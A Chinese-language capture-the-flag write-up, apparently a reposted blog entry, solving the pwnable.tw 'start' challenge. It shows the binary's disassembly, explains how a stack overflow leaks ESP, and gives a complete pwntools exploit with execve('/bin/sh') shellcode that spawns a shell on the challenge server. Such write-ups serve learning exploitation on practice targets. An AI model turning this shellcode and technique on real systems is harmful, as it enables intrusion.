pwntw start writeup 栈溢出利用自身代码

这题利用了栈溢出,将返回地址覆盖为程序本身地址,造成内存泄露。

有个坑是如果你用gdb peda自带的checksec检查防护措施会发现NX是打开的,那么堆栈处的代码无法执行,就无法构造栈里的shellcode,file下
在这里插入图片描述
发现程序是静态链接的,那就无法利用ret2libc。想了半天也不知道怎么做。就用ubuntu自带的checksec检查下发现
在这里插入图片描述
根本没有开启NX,可能是gdb的调试环境会影响判断吧。

拿到题目先运行观察下,
在这里插入图片描述
先显示了一串字符串,然后让你输入字符串就结束了。

放到IDA里看一下:

public _start
_start proc near
push    esp
push    offset _exit //这里的退出函数是作者自己写的。
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -
add     esp, 14h
retn
_start endp ; sp-analysis failed

程序本身是用汇编写的,f5的代码可读性很低,那就直接读汇编。程序开始处 先push了 ESP,将ESP的值压栈,然后又push了exit函数的地址,再连续push 5个数,此时堆栈情况如下。
在这里插入图片描述
黄色的区域即是连续push的5个数。

mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write

这段代码进行了linux的系统调用,linux的系统调用都是通过int 0x80来完成的,在int 0x80之前先将参数传进对应寄存器,以及调用的函数的编号传进来。
这里的write函数就是将上面的push进堆栈的5个数字以字符串形式打印出来,即 Let’s start the CTF: 这段字符串。
然后是:

xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -

这里IDA没有显示是哪个函数,百度了下,得知编号3是read函数。
前面的 xor ebx,ebx 将ebx的值清0,应该是fd,即是标准输入,从终端输入。
用gdb调试下,看看从终端读取的字符串占据的是哪里:
在第一个write函数调用完成后下一个断点(从ida可以获知):
在这里插入图片描述
字符串的开始是 0xffffd204。
下面一直运行到read函数,输入字符串。
在这里插入图片描述
发现输入的字符串也是从 0xffffd204开始的,那就说明read函数从ESP指向的内存开始存字符串的。
然后是:

add     esp, 14h
retn

将esp值加上0x14,此时ESP指向
在这里插入图片描述
再ret就执行exit函数,整个程序执行完毕,ret后ESP指向起始ESP。
程序的流程分析完毕,想要执行shellcode就必须知道每次程序运行时的ESP的值。
在程序执行的第一步就是将ESP压栈,如果将这个压栈的ESP值给泄露出来就可以写出通解。
再看这里

mov     ecx, esp        ; addr

将ESP的值给ecx,write函数就是将ecx指向的字符串打印出来。
而执行完read函数后,ESP恰好指向 起始的ESP,如果将 add of exit 地址覆盖为 mov ecx, esp ; addr 的地址就可以泄露出 起始ESP的值了,接下来编写exp

from pwn import *

a=remote('chall.pwnable.tw',10000)

a.recvuntil("Let's start the CTF:")

shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

payload1='A'*20+p32(0x08048087) # return to func of wrire

a.send(payload1) 

esp=u32(a.recv(4))

payload2='A'*20+p32(esp+20)+shellcode  #注意最后ESP加上了20后再ret
#,所以这里泄露的ESP也要加20,前面还要有20个垃圾数据填充堆栈,才能将
#shellcode的地址填入正确的位置

a.send(payload2)

a.interactive()

这里的shellcode是网上随便复制的。pwntools自带的生成shellcode太长了。
运行脚本即可得到shell。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43394612/article/details/85198883